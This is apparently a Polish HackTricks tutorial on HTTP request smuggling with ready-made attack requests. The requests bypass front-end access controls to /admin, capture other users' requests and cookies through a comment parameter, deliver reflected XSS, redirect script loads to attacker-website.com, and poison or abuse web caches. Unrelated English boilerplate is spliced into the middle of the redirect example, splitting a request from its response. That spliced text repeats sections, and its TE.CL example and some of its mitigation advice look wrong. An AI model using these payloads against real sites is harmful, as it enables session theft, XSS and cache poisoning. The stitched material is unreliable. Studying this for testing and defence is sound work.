hacktricks/pentesting-web/http-request-smuggling

HTTP Request Smuggling / Atak desynchronizacji HTTP

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

• Jeśli chcesz zobaczyć swoją firmę reklamowaną w HackTricks lub pobrać HackTricks w formacie PDF, sprawdź SUBSCRIPTION PLANS!
• Zdobądź oficjalne gadżety PEASS & HackTricks
• Odkryj Rodzinę PEASS, naszą kolekcję ekskluzywnych NFT
• Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @carlospolopm.
• Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów GitHub.

Czym jest

Ta podatność występuje, gdy desynchronizacja między serwerami proxy front-endowymi a serwerem back-endowym umożliwia atakującemu wysłanie żądania HTTP, które zostanie zinterpretowane jako jedno żądanie przez serwery proxy front-endowe (balance obciążenia/proxy odwrócony) i jako 2 żądania przez serwer back-endowy.
Umożliwia to użytkownikowi modyfikację następnego żądania, które dotrze do serwera back-endowego po jego.

Teoria

Specyfikacja RFC (2161)

Jeśli wiadomość zostanie odebrana zarówno z polem nagłówka Transfer-Encoding, jak i polem nagłówka Content-Length, to to drugie MUSI zostać zignorowane.

Content-Length

Nagłówek jednostki Content-Length wskazuje rozmiar ciała jednostki, w bajtach, wysłanej do odbiorcy.

Transfer-Encoding: chunked

Nagłówek Transfer-Encoding określa formę kodowania używaną do bezpiecznego przesyłania ciała ładunku do użytkownika.
Chunked oznacza, że duże dane są wysyłane w serii fragmentów

Rzeczywistość

Front-End (balance obciążenia / proxy odwrócony) przetwarza nagłówek content-length lub transfer-encoding, a serwer Back-End przetwarza drugi z nich, powodując desynchronizację między tymi dwoma systemami.
Może to być bardzo krytyczne, ponieważ atakujący będzie w stanie wysłać jedno żądanie do proxy odwróconego, które zostanie zinterpretowane przez serwer Back-End jako 2 różne żądania. Niebezpieczeństwo tej techniki polega na tym, że serwer Back-End zinterpretuje wstrzyknięte drugie żądanie tak, jakby pochodziło od następnego klienta, a rzeczywiste żądanie tego klienta będzie częścią wstrzykniętego żądania.

Szczególne przypadki

Pamiętaj, że w protokole HTTP znak nowej linii składa się z 2 bajtów:

• Content-Length: Ten nagłówek używa liczby dziesiętnej do wskazania liczby bajtów ciała żądania. Oczekuje się, że ciało zakończy się ostatnim znakiem, znak nowej linii nie jest potrzebny na końcu żądania.
• Transfer-Encoding: Ten nagłówek używa w ciele liczby szesnastkowej do wskazania liczby bajtów następnego fragmentu. Fragment musi zakończyć się znakiem nowej linii, ale ten znak nie jest uwzględniany przez wskaźnik długości. Ta metoda transferu musi zakończyć się fragmentem o rozmiarze 0, po którym następują 2 znaki nowej linii: 0
• Connection: Na podstawie mojego doświadczenia zaleca się użycie Connection: keep-alive w pierwszym żądaniu ataku desynchronizacji.

Podstawowe przykłady

Ataki desynchronizacji żądań HTTP są tworzone poprzez wysyłanie niejednoznacznych żądań, które wykorzystują rozbieżności w interpretacji nagłówków Content-Length (CL) i Transfer-Encoding (TE) przez serwery front-endowe i back-endowe. Ataki te mogą przybierać różne formy, głównie jako CL.TE, TE.CL i TE.TE. Każdy typ reprezentuje unikalne połączenie priorytetów serwerów front-endowych i back-endowych w odniesieniu do tych nagłówków. Podatności wynikają z różnych sposobów przetwarzania tego samego żądania przez serwery, co prowadzi do nieoczekiwanych i potencjalnie złośliwych rezultatów.

Podstawowe przykłady typów podatności

Podatność CL.TE (Content-Length używane przez Front-End, Transfer-Encoding używane przez Back-End)

• Front-End (CL): Przetwarza żądanie na podstawie nagłówka Content-Length.
• Back-End (TE): Przetwarza żądanie na podstawie nagłówka Transfer-Encoding.
• Scenariusz ataku:
• Atakujący wysyła żądanie, w którym wartość nagłówka Content-Length nie odpowiada rzeczywistej długości treści.
• Serwer front-endowy przekazuje całe żądanie do serwera back-endowego na podstawie wartości Content-Length.
• Serwer back-endowy przetwarza żądanie jako chunked ze względu na nagłówek Transfer-Encoding: chunked, interpretując pozostałe dane jako oddzielne, następne żądanie.
• Przykład:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 30
Connection: keep-alive
Transfer-Encoding: chunked

0

GET /404 HTTP/1.1
Foo: x

Podatność TE.CL (Transfer-Encoding używane przez Front-End, Content-Length używane przez Back-End)

• Front-End (TE): Przetwarza żądanie na podstawie nagłówka Transfer-Encoding.
• Back-End (CL): Przetwarza żądanie na podstawie nagłówka Content-Length.
• Scenariusz ataku:
• Atakujący wysyła żądanie chunked, w którym rozmiar chunka (7b) i rzeczywista długość treści (Content-Length: 4) nie są zgodne.
• Serwer front-endowy, zgodnie z Transfer-Encoding, przekazuje całe żądanie do serwera back-endowego.
• Serwer back-endowy, zgodnie z Content-Length, przetwarza tylko początkową część żądania (7b bajtów), pozostawiając resztę jako część niezamierzonego następnego żądania.
• Przykład:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 4
Connection: keep-alive
Transfer-Encoding: chunked

7b
GET /404 HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 30

x=
0

Wrażliwość TE.TE (Transfer-Encoding używane przez obie strony, z zaciemnieniem)

• Serwery: Oba obsługują Transfer-Encoding, ale jeden może zostać oszukany, ignorując go za pomocą zaciemnienia.
• Scenariusz ataku:
• Atakujący wysyła żądanie z zaciemnionymi nagłówkami Transfer-Encoding.
• W zależności od tego, który serwer (front-end lub back-end) nie rozpoznaje zaciemnienia, może zostać wykorzystana podatność CL.TE lub TE.CL.
• Nieprzetworzona część żądania, widziana przez jeden z serwerów, staje się częścią kolejnego żądania, prowadząc do smugglingu.
• Przykład:

POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: xchunked
Transfer-Encoding : chunked
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding:[tab]chunked
[space]Transfer-Encoding: chunked
X: X[\n]Transfer-Encoding: chunked

Transfer-Encoding
: chunked

Scenariusz CL.CL (Content-Length używane przez zarówno front-end, jak i back-end):

• Oba serwery przetwarzają żądanie wyłącznie na podstawie nagłówka Content-Length.
• Ten scenariusz zazwyczaj nie prowadzi do smugglingu, ponieważ oba serwery interpretują długość żądania w ten sam sposób.
• Przykład:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 16
Connection: keep-alive

Normalne żądanie

Scenariusz CL != 0:

• Odnosi się do scenariuszy, w których nagłówek Content-Length jest obecny i ma wartość inną niż zero, co wskazuje, że ciało żądania zawiera treść.
• Jest to istotne przy zrozumieniu i tworzeniu ataków smugglingowych, ponieważ wpływa na to, jak serwery określają koniec żądania.
• Przykład:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 16
Connection: keep-alive

Ciało nie jest puste

Wymuszanie za pomocą nagłówków hop-by-hop

Wykorzystując nagłówki hop-by-hop, można wskazać serwerowi proxy, aby usunął nagłówek Content-Length lub Transfer-Encoding, dzięki czemu możliwe jest wykorzystanie HTTP request smuggling.

Connection: Content-Length

Aby uzyskać więcej informacji na temat nagłówków hop-by-hop, odwiedź:

{% content-ref url="../abusing-hop-by-hop-headers.md" %} abusing-hop-by-hop-headers.md {% endcontent-ref %}

Wyszukiwanie podatności na HTTP Request Smuggling

Identyfikacja podatności na HTTP request smuggling często może być osiągnięta za pomocą technik czasowych, które polegają na obserwowaniu, jak długo serwer potrzebuje na odpowiedź na manipulowane żądania. Te techniki są szczególnie przydatne do wykrywania podatności CL.TE i TE.CL. Oprócz tych metod istnieją inne strategie i narzędzia, które można wykorzystać do znalezienia takich podatności:

Wyszukiwanie podatności CL.TE za pomocą technik czasowych

• Metoda:
• Wyślij żądanie, które, jeśli aplikacja jest podatna, spowoduje, że serwer backendowy będzie oczekiwał na dodatkowe dane.
• Przykład:

POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 4

1
A
0

• Obserwacja:

• Serwer frontendowy przetwarza żądanie na podstawie Content-Length i przerywa wiadomość przedwcześnie.

• Serwer backendowy, oczekując na wiadomość w postaci chunked, czeka na kolejny chunk, który nigdy nie przychodzi, co powoduje opóźnienie.

• Wskaźniki:

• Timeouts lub długie opóźnienia w odpowiedzi.

• Otrzymanie błędu 400 Bad Request od serwera backendowego, czasami z szczegółowymi informacjami o serwerze.

Wyszukiwanie podatności TE.CL za pomocą technik czasowych

• Metoda:
• Wyślij żądanie, które, jeśli aplikacja jest podatna, spowoduje, że serwer backendowy będzie oczekiwał na dodatkowe dane.
• Przykład:

POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 6

0
X

• Obserwacja:
• Serwer frontendowy przetwarza żądanie na podstawie Transfer-Encoding i przekazuje całą wiadomość.
• Serwer backendowy, oczekując na wiadomość na podstawie Content-Length, czeka na dodatkowe dane, które nigdy nie przychodzą, co powoduje opóźnienie.

Inne metody wyszukiwania podatności

• Analiza różnicowa odpowiedzi:

• Wyślij nieznacznie zmienione wersje żądania i obserwuj, czy odpowiedzi serwera różnią się w niespodziewany sposób, co wskazuje na niezgodność w parsowaniu.

• Użycie narzędzi automatycznych:

• Narzędzia takie jak rozszerzenie 'HTTP Request Smuggler' w Burp Suite mogą automatycznie testować te podatności, wysyłając różne formy niejednoznacznych żądań i analizując odpowiedzi.

• Testy zróżnicowanej długości treści (Content-Length):

• Wyślij żądania z różnymi wartościami Content-Length, które nie są zgodne z rzeczywistą długością treści i obserwuj, jak serwer obsługuje takie niezgodności.

• Testy zróżnicowanego kodowania transferu (Transfer-Encoding):

• Wyślij żądania z zaciemnionymi lub nieprawidłowymi nagłówkami Transfer-Encoding i monitoruj, jak różnie serwery frontendowe i backendowe reagują na takie manipulacje.

Testowanie podatności na HTTP Request Smuggling

Po potwierdzeniu skuteczności technik czasowych ważne jest zweryfikowanie, czy żądania klienta można manipulować. Prostą metodą jest próba zatrucia żądań, na przykład tak, aby żądanie do / zwróciło odpowiedź 404. Przykłady CL.TE i TE.CL omówione wcześniej w Podstawowe przykłady pokazują, jak zatruć żądanie klienta, aby wywołać odpowiedź 404, mimo że klient próbuje uzyskać dostęp do innego zasobu.

Kluczowe czynniki do uwzględnienia

Podczas testowania podatności na request smuggling poprzez ingerencję w inne żądania, pamiętaj o:

• Odrębne połączenia sieciowe: "Atak" i "normalne" żądania powinny być wysyłane za pośrednictwem oddzielnych połączeń sieciowych. Użycie tego samego połączenia dla obu nie potwierdza obecności podatności.
• Spójne adresy URL i parametry: Staraj się używać identycznych adresów URL i nazw parametrów dla obu żądań. Nowoczesne aplikacje często kierują żądania do konkretnych serwerów backendowych na podstawie adresu URL i parametrów. Dopasowanie ich zwiększa prawdopodobieństwo, że oba żądania zostaną przetworzone przez ten sam serwer, co jest warunkiem koniecznym dla udanego ataku.
• Warunki czasowe i wyścigowe: "Normalne" żądanie, które ma wykryć ingerencję ze strony "atakującego" żądania, konkurować będzie z innymi równoczesnymi żądaniami aplikacji. Dlatego wyślij "normalne" żądanie bezpośrednio po "atakującym" żądaniu. W przypadku intensywnie obciążonych aplikacji może być konieczne wykonanie kilku prób w celu potwierdzenia podatności.
• Wyzwania związane z równoważeniem obciążenia: Serwery frontendowe działające jako równoważniki obciążenia mogą rozdzielać żądania na różne systemy backendowe. Jeśli "atakujące" i "normalne" żądania trafią na różne systemy, atak nie powiedzie się. Aspekt równoważenia obciążenia może wymagać kilku prób w celu potwierdzenia podatności.
• Niezamierzone skutki dla użytkowników: Jeśli atak niezamierzenie wpływa na żądanie innego użytkownika (nie na "normalne" żądanie wysłane w celu wykrycia), oznacza to, że atak wpłynął na innego użytkownika aplikacji. Kontynuowanie testów może zakłócać innych użytkowników, dlatego wymaga to ostrożnego podejścia.

Nadużywanie HTTP Request Smuggling

Omijanie kontroli bezpieczeństwa frontendu

Omijanie kontroli bezpieczeństwa frontendu za pomocą HTTP Request Smuggling

Czasami proxy frontendowe narzucają środki bezpieczeństwa, analizując przychodzące żądania. Jednak te środki można obejść, wykorzystując HTTP Request Smuggling, co umożliwia nieautoryzowany dostęp do ograniczonych punktów końcowych. Na przykład, dostęp do /admin może być zabroniony zewnętrznie, a proxy frontendowe aktywnie blokuje takie próby. Niemniej jednak, to proxy może nie sprawdzać osadzonych żądań w ramach przemyconego żądania HTTP, pozostawiając luki umożliwiające obejście tych ograniczeń.

Poniższe przykłady ilustrują, jak można użyć HTTP Request Smuggling do omijania kontroli bezpieczeństwa frontendu, szczególnie celując w ścieżkę /admin, która zwykle jest chroniona przez proxy frontendowe:

Przykład CL.TE

POST / HTTP/1.1
Host: [redacted].web-security-academy.net
Cookie: session=[redacted]
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 67
Transfer-Encoding: chunked

0
GET /admin HTTP/1.1
Host: localhost
Content-Length: 10

x=

W ataku CL.TE wykorzystywany jest nagłówek Content-Length dla początkowego żądania, podczas gdy następne osadzone żądanie wykorzystuje nagłówek Transfer-Encoding: chunked. Proxy front-endowe przetwarza początkowe żądanie POST, ale nie sprawdza osadzonego żądania GET /admin, co umożliwia nieautoryzowany dostęp do ścieżki /admin.

Przykład TE.CL

POST / HTTP/1.1
Host: [redacted].web-security-academy.net
Cookie: session=[redacted]
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length: 4
Transfer-Encoding: chunked
2b
GET /admin HTTP/1.1
Host: localhost
a=x
0

W przeciwnym razie, w ataku TE.CL, początkowe żądanie POST używa Transfer-Encoding: chunked, a następne osadzone żądanie jest przetwarzane na podstawie nagłówka Content-Length. Podobnie jak w ataku CL.TE, proxy front-end pomija ukryte żądanie GET /admin, nieświadomie udzielając dostępu do ograniczonej ścieżki /admin.

Ujawnianie przepisywania żądań front-endu

Aplikacje często korzystają z serwera front-endowego, aby modyfikować przychodzące żądania przed przekazaniem ich do serwera back-endowego. Typowa modyfikacja polega na dodawaniu nagłówków, takich jak X-Forwarded-For: <IP klienta>, aby przekazać IP klienta do serwera back-endowego. Zrozumienie tych modyfikacji może być kluczowe, ponieważ może ujawnić sposoby ominięcia zabezpieczeń lub odkrycia ukrytych informacji lub punktów końcowych.

Aby zbadać, jak proxy zmienia żądanie, zlokalizuj parametr POST, który jest odbijany przez back-end w odpowiedzi. Następnie stwórz żądanie, używając tego parametru na końcu, podobnie jak poniżej:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 130
Connection: keep-alive
Transfer-Encoding: chunked

0

POST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 100

search=

W tej strukturze kolejne składniki żądania są dołączane po search=, który jest parametrem odzwierciedlonym w odpowiedzi. To odzwierciedlenie ujawni nagłówki kolejnego żądania.

Ważne jest, aby dopasować nagłówek Content-Length zagnieżdżonego żądania do rzeczywistej długości treści. Zaleca się rozpoczęcie od niewielkiej wartości i stopniowe zwiększanie, ponieważ zbyt niska wartość obetnie odzwierciedlone dane, podczas gdy zbyt wysoka wartość może spowodować błąd żądania.

Ta technika jest również stosowana w kontekście podatności TE.CL, ale żądanie powinno zakończyć się search=\r\n0. Bez względu na znaki nowej linii, wartości zostaną dołączone do parametru wyszukiwania.

Ta metoda służy przede wszystkim do zrozumienia modyfikacji żądania dokonanych przez proxy front-end, wykonując w zasadzie samodzielne śledztwo.

Przechwytywanie żądań innych użytkowników

Możliwe jest przechwycenie żądań kolejnego użytkownika, dodając określone żądanie jako wartość parametru podczas operacji POST. Oto jak to można osiągnąć:

Dodając poniższe żądanie jako wartość parametru, można przechowywać żądanie następnego klienta:

POST / HTTP/1.1
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 319
Connection: keep-alive
Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi
Transfer-Encoding: chunked

0

POST /post/comment HTTP/1.1
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
Content-Length: 659
Content-Type: application/x-www-form-urlencoded
Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi

csrf=gpGAVAbj7pKq7VfFh45CAICeFCnancCM&postId=4&name=asdfghjklo&email=email%40email.com&comment=

W tym scenariuszu parametr komentarza ma na celu przechowywanie treści w sekcji komentarzy postu na publicznie dostępnej stronie. W rezultacie, zawartość następnego żądania pojawi się jako komentarz.

Jednak ta technika ma pewne ograniczenia. Zazwyczaj przechwytuje dane tylko do znacznika parametru użytego w przemyconym żądaniu. Dla przesyłanych formularzy kodowanych w formacie URL, znacznikiem tym jest znak &. Oznacza to, że przechwycone treści z żądania użytkownika ofiary zatrzymają się na pierwszym znaku &, który może nawet być częścią ciągu zapytania.

Dodatkowo, warto zauważyć, że ta metoda jest również wykonalna w przypadku podatności na TE.CL. W takich przypadkach żądanie powinno zakończyć się search=\r\n0. Bez względu na znaki nowej linii, wartości zostaną dołączone do parametru wyszukiwania.

Wykorzystanie przemyconego żądania HTTP do wykorzystania odbitego XSS

Przemycone żądanie HTTP można wykorzystać do eksploatacji stron internetowych podatnych na odbity XSS, co daje znaczne korzyści:

• Nie wymaga interakcji z użytkownikami docelowymi.
• Umożliwia eksploatację XSS w częściach żądania, które są normalnie niedostępne, takich jak nagłówki żądania HTTP.

W przypadkach, gdy strona internetowa jest podatna na odbity XSS poprzez nagłówek User-Agent, poniższy ładunek demonstruje, jak wykorzystać tę podatność:

POST / HTTP/1.1
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Cookie: session=ac311fa41f0aa1e880b0594d008d009e
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 213
Content-Type: application/x-www-form-urlencoded

0

GET /post?postId=2 HTTP/1.1
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
User-Agent: "><script>alert(1)</script>
Content-Length: 10
Content-Type: application/x-www-form-urlencoded

A=

Ten payload jest strukturalnie zaprojektowany w celu wykorzystania podatności poprzez:

1. Inicjowanie żądania POST, pozornie typowego, z nagłówkiem Transfer-Encoding: chunked, wskazującym początek smugglingu.
2. Następnie, za pomocą 0, oznaczane jest zakończenie ciała wiadomości w formacie chunked.
3. Następnie, wprowadzane jest smugglowane żądanie GET, gdzie nagłówek User-Agent jest zainfekowany skryptem <script>alert(1)</script>, co powoduje wywołanie XSS podczas przetwarzania tego kolejnego żądania przez serwer.

Poprzez manipulację nagłówkiem User-Agent za pomocą smugglingu, payload omija normalne ograniczenia żądania, tym samym wykorzystując podatność Reflected XSS w nietypowy, ale skuteczny sposób.

Wykorzystanie smugglingu żądania HTTP do przekształcenia przekierowania na stronie w otwarte przekierowanie

Wykorzystywanie przekierowań na stronie za pomocą smugglingu żądania HTTP

Aplikacje często przekierowują z jednego adresu URL na inny, korzystając z nazwy hosta z nagłówka Host w adresie URL przekierowania. Jest to powszechne w serwerach internetowych, takich jak Apache i IIS. Na przykład, żądanie folderu bez ukośnika na końcu skutkuje przekierowaniem, które zawiera ten ukośnik:

GET /home HTTP/1.1
Host: normal-website.com

HTTP Request Smuggling

This technique allows an attacker to manipulate the way that a front-end and back-end server interpret a sequence of HTTP requests. By exploiting inconsistencies in how these servers handle request parsing, an attacker can smuggle malicious requests past security measures and potentially bypass security controls.

Introduction

HTTP Request Smuggling takes advantage of the different ways that front-end and back-end servers interpret and process HTTP requests. This technique can be used to bypass security controls and potentially gain unauthorized access to sensitive information or perform other malicious actions.

How it Works

HTTP Request Smuggling typically involves sending a specially crafted sequence of HTTP requests that exploit inconsistencies in how the front-end and back-end servers handle request parsing. These inconsistencies can lead to the smuggling of malicious requests that are interpreted differently by each server.

The basic steps involved in an HTTP Request Smuggling attack are as follows:

1. The attacker sends a specially crafted HTTP request to the front-end server.
2. The front-end server parses the request and forwards it to the back-end server.
3. The back-end server interprets the request differently than the front-end server, potentially leading to security bypass or other vulnerabilities.
4. The back-end server responds to the request, which is then interpreted by the front-end server.

By carefully crafting the sequence of requests and exploiting inconsistencies in request parsing, an attacker can smuggle malicious requests past security measures and potentially gain unauthorized access or perform other malicious actions.

Techniques

There are several techniques that can be used to perform HTTP Request Smuggling attacks. Some of the commonly used techniques include:

• CL.TE (Content-Length: Transfer-Encoding): This technique involves manipulating the Content-Length and Transfer-Encoding headers to confuse the front-end and back-end servers.
• TE.CL (Transfer-Encoding: Content-Length): This technique involves manipulating the Transfer-Encoding and Content-Length headers to confuse the front-end and back-end servers.
• CL.CL (Content-Length: Content-Length): This technique involves manipulating the Content-Length header to confuse the front-end and back-end servers.
• TE.TE (Transfer-Encoding: Transfer-Encoding): This technique involves manipulating the Transfer-Encoding header to confuse the front-end and back-end servers.

Each technique has its own variations and specific payloads that can be used to exploit the inconsistencies in request parsing.

Mitigation

To mitigate the risk of HTTP Request Smuggling attacks, it is important to implement proper security controls and follow best practices. Some mitigation techniques include:

• Implementing strict input validation and sanitization to prevent malicious requests from being processed.
• Configuring web servers and proxies to handle HTTP requests consistently and securely.
• Keeping software and systems up to date with the latest security patches and updates.
• Regularly monitoring and analyzing web server logs for any suspicious activity.

By implementing these mitigation techniques, organizations can reduce the risk of HTTP Request Smuggling attacks and protect their systems and sensitive information from unauthorized access or manipulation.

HTTP/1.1 301 Moved Permanently
Location: https://normal-website.com/home/

Chociaż wydaje się niewinne, to zachowanie można manipulować za pomocą przemytu żądań HTTP, aby przekierować użytkowników na zewnętrzną stronę. Na przykład:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 54
Connection: keep-alive
Transfer-Encoding: chunked

0

GET /home HTTP/1.1
Host: attacker-website.com
Foo: X

Ten przemycony żądanie może spowodować przekierowanie następnego przetwarzanego żądania użytkownika na stronę kontrolowaną przez atakującego:

GET /home HTTP/1.1
Host: attacker-website.com
Foo: XGET /scripts/include.js HTTP/1.1
Host: vulnerable-website.com

HTTP Request Smuggling

This technique allows an attacker to manipulate the way that a front-end and back-end server interpret a sequence of HTTP requests. By exploiting inconsistencies in how these servers handle request parsing, an attacker can smuggle malicious requests that may bypass security controls and lead to various attacks, such as cache poisoning, session hijacking, or remote code execution.

CL.TE

This technique leverages the differences in how front-end and back-end servers handle the Content-Length and Transfer-Encoding headers. By manipulating these headers, an attacker can trick the servers into interpreting the requests differently, leading to request smuggling.

CL.TE Request Smuggling

In a CL.TE request smuggling attack, the attacker sends a request with both Content-Length and Transfer-Encoding headers. The front-end server interprets the request based on the Content-Length header, while the back-end server interprets it based on the Transfer-Encoding header. This inconsistency can be exploited to smuggle requests.

To perform a CL.TE request smuggling attack, the attacker typically sends a request with a Content-Length header indicating a shorter length than the actual request body, and a Transfer-Encoding header set to chunked. The front-end server reads the request based on the Content-Length header and forwards it to the back-end server. However, the back-end server interprets the request as a chunked request due to the Transfer-Encoding header. This discrepancy can lead to request smuggling.

CL.TE Request Smuggling Example

Here is an example of a CL.TE request smuggling attack:

POST /path HTTP/1.1
Host: example.com
Content-Length: 10
Transfer-Encoding: chunked

0

GET /admin HTTP/1.1
Host: example.com

In this example, the attacker sends a POST request with a Content-Length header indicating a request body length of 10 bytes. However, the actual request body is empty, as indicated by the 0 in the chunked encoding. After the empty chunk, the attacker smuggles a GET request to /admin. The front-end server interprets the request based on the Content-Length header and forwards it to the back-end server. However, the back-end server interprets the request as a chunked request due to the Transfer-Encoding header, leading to request smuggling.

CL.TE Request Smuggling Mitigation

To mitigate CL.TE request smuggling attacks, it is important to ensure consistent request parsing between the front-end and back-end servers. This can be achieved by:

• Configuring the front-end server to reject requests with both Content-Length and Transfer-Encoding headers.
• Configuring the back-end server to reject chunked requests.

Additionally, it is recommended to keep the front-end and back-end servers up to date with the latest security patches to address any known vulnerabilities that could be exploited for request smuggling.

TE.CL

This technique leverages the differences in how front-end and back-end servers handle the Transfer-Encoding and Content-Length headers. By manipulating these headers, an attacker can trick the servers into interpreting the requests differently, leading to request smuggling.

TE.CL Request Smuggling

In a TE.CL request smuggling attack, the attacker sends a request with both Transfer-Encoding and Content-Length headers. The front-end server interprets the request based on the Transfer-Encoding header, while the back-end server interprets it based on the Content-Length header. This inconsistency can be exploited to smuggle requests.

To perform a TE.CL request smuggling attack, the attacker typically sends a request with a Transfer-Encoding header set to chunked and a Content-Length header indicating a shorter length than the actual request body. The front-end server reads the request based on the Transfer-Encoding header and forwards it to the back-end server. However, the back-end server interprets the request as a request with a fixed length body due to the Content-Length header. This discrepancy can lead to request smuggling.

TE.CL Request Smuggling Example

Here is an example of a TE.CL request smuggling attack:

POST /path HTTP/1.1
Host: example.com
Transfer-Encoding: chunked
Content-Length: 10

0

GET /admin HTTP/1.1
Host: example.com

In this example, the attacker sends a POST request with a Transfer-Encoding header set to chunked and a Content-Length header indicating a request body length of 10 bytes. After the empty chunk, the attacker smuggles a GET request to /admin. The front-end server interprets the request based on the Transfer-Encoding header and forwards it to the back-end server. However, the back-end server interprets the request as a request with a fixed length body due to the Content-Length header, leading to request smuggling.

TE.CL Request Smuggling Mitigation

To mitigate TE.CL request smuggling attacks, it is important to ensure consistent request parsing between the front-end and back-end servers. This can be achieved by:

• Configuring the front-end server to reject requests with both Transfer-Encoding and Content-Length headers.
• Configuring the back-end server to reject requests with both Transfer-Encoding and Content-Length headers.

Additionally, it is recommended to keep the front-end and back-end servers up to date with the latest security patches to address any known vulnerabilities that could be exploited for request smuggling.

HTTP/1.1 301 Moved Permanently
Location: https://attacker-website.com/home/

W tym scenariuszu żądanie użytkownika dotyczące pliku JavaScript zostaje przejęte. Atakujący może potencjalnie narazić użytkownika na niebezpieczeństwo, serwując złośliwy kod JavaScript w odpowiedzi.

Wykorzystanie żądania HTTP smuggling do przeprowadzenia zatrucia pamięci podręcznej witryny

Wykorzystanie zatrucia pamięci podręcznej witryny za pomocą żądania HTTP smuggling

Zatrucie pamięci podręcznej witryny można przeprowadzić, jeśli dowolny komponent infrastruktury front-endowej buforuje zawartość, zwykle w celu poprawy wydajności. Poprzez manipulację odpowiedzią serwera, możliwe jest zatrucie pamięci podręcznej.

Wcześniej obserwowaliśmy, jak odpowiedzi serwera mogą być zmieniane, aby zwracać błąd 404 (patrz Podstawowe przykłady). Podobnie, możliwe jest oszukanie serwera, aby dostarczał zawartość /index.html w odpowiedzi na żądanie /static/include.js. W rezultacie zawartość /static/include.js zostaje zastąpiona w pamięci podręcznej zawartością /index.html, co uniemożliwia dostęp do /static/include.js dla użytkowników, co potencjalnie prowadzi do ataku typu Denial of Service (DoS).

Ta technika staje się szczególnie skuteczna, jeśli zostanie odkryta podatność na przekierowanie lub jeśli występuje przekierowanie na przekierowanie na stronie. Takie podatności mogą być wykorzystane do zastąpienia zawartości w pamięci podręcznej /static/include.js skryptem kontrolowanym przez atakującego, co umożliwia przeprowadzenie rozległego ataku typu Cross-Site Scripting (XSS) przeciwko wszystkim klientom żądającym zaktualizowanego /static/include.js.

Poniżej przedstawiono ilustrację wykorzystania zatrucia pamięci podręcznej w połączeniu z przekierowaniem na przekierowanie. Celem jest zmiana zawartości pamięci podręcznej /static/include.js, aby serwować kod JavaScript kontrolowany przez atakującego:

POST / HTTP/1.1
Host: vulnerable.net
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length: 124
Transfer-Encoding: chunked

0

GET /post/next?postId=3 HTTP/1.1
Host: attacker.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 10

x=1

Zauważ wbudowane żądanie skierowane na /post/next?postId=3. To żądanie zostanie przekierowane na /post?postId=4, wykorzystując wartość nagłówka Host do określenia domeny. Poprzez zmianę nagłówka Host, atakujący może przekierować żądanie na swoją domenę (przekierowanie wewnętrzne na przekierowanie zewnętrzne).

Po udanym zatruciu gniazda, powinno zostać zainicjowane żądanie GET dla /static/include.js. To żądanie zostanie zanieczyszczone przez wcześniejsze żądanie przekierowania wewnętrznego na przekierowanie zewnętrzne i pobierze zawartość skryptu kontrolowanego przez atakującego.

Następnie, każde żądanie dla /static/include.js będzie serwować zawartość zbuforowanego skryptu atakującego, co efektywnie uruchomi szeroki atak XSS.

Używanie przemytu żądań HTTP do przeprowadzenia oszustwa pamięci podręcznej sieci web

Jaka jest różnica między zatruciem pamięci podręcznej sieci web a oszustwem pamięci podręcznej sieci web?

• W zatruciu pamięci podręcznej sieci web, atakujący powoduje, że aplikacja przechowuje pewną złośliwą zawartość w pamięci podręcznej, a ta zawartość jest serwowana z pamięci podręcznej innym użytkownikom aplikacji.
• W oszustwie pamięci podręcznej sieci web, atakujący powoduje, że aplikacja przechowuje pewną wrażliwą zawartość należącą do innego użytkownika w pamięci podręcznej, a następnie atakujący odzyskuje tę zawartość z pamięci podręcznej.

Atakujący tworzy przemycony żądanie, które pobiera wrażliwą zawartość specyficzną dla użytkownika. Przyjrzyj się poniższemu przykładowi:

`POST / HTTP/1.1`\
`Host: vulnerable-website.com`\
`Connection: keep-alive`\
`Content-Length: 43`\
`Transfer-Encoding: chunked`\
``\ `0`\``\
`GET /private/messages HTTP/1.1`\
`Foo: X`

Jeśli ten przemycony żądanie zatruje wpis w pamięci podręcznej przeznaczony dla treści statycznych (np. /someimage.png), wrażliwe dane ofiary z /private/messages mogą być przechowywane w pamięci podręcznej pod wpisem dla treści statycznych. W rezultacie, atakujący może potencjalnie odzyskać te przechowywane wrażliwe dane.

Uzbrojenie HTTP Request Smuggling z HTTP Response Desynchronisation

Czy znalazłeś jakąś podatność na HTTP Request Smuggling i nie wiesz, jak ją wykorzystać? Spróbuj tej innej metody eksploatacji:

{% content-ref url="../http-response-smuggling-desync.md" %} http-response-smuggling-desync.md {% endcontent-ref %}

Skrypty Turbo Intruder

CL.TE

